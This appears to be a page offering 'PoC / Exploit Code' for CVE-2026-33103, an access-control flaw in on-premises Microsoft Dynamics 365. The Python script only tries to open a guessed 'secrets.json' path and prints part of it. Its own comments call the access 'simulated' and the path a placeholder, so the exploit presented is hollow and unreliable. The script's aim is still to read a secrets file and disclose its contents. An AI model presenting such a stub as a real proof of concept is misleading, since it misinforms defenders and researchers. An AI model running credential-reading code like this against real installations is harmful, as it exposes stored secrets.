Microsoft Dynamics 365 (on-premises) (受影响版本请参考官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33103
# Description: Local Information Disclosure in Microsoft Dynamics 365 (on-premises)
# This script demonstrates how a low-privileged user might access sensitive configuration data
# due to improper access controls.
import os
import sys
def check_vulnerability():
# Simulate accessing a protected configuration file
# In a real scenario, this path would be specific to the Dynamics 365 installation
target_path = "C:\\Program Files\\Microsoft Dynamics 365\\Config\\secrets.json"
print(f"[*] Attempting to read sensitive file: {target_path}")
if os.path.exists(target_path):
try:
# Attempt to read the file with current user permissions
with open(target_path, 'r') as f:
data = f.read()
print("[+] Vulnerability confirmed! Sensitive data disclosed:")
print(data[:100] + "...") # Print partial data
return True
except PermissionError:
print("[-] Access denied. System might be patched or permissions are correct.")
return False
except Exception as e:
print(f"[!] Error: {e}")
return False
else:
print("[-] Target path not found. Please verify the installation path.")
return False
if __name__ == "__main__":
check_vulnerability()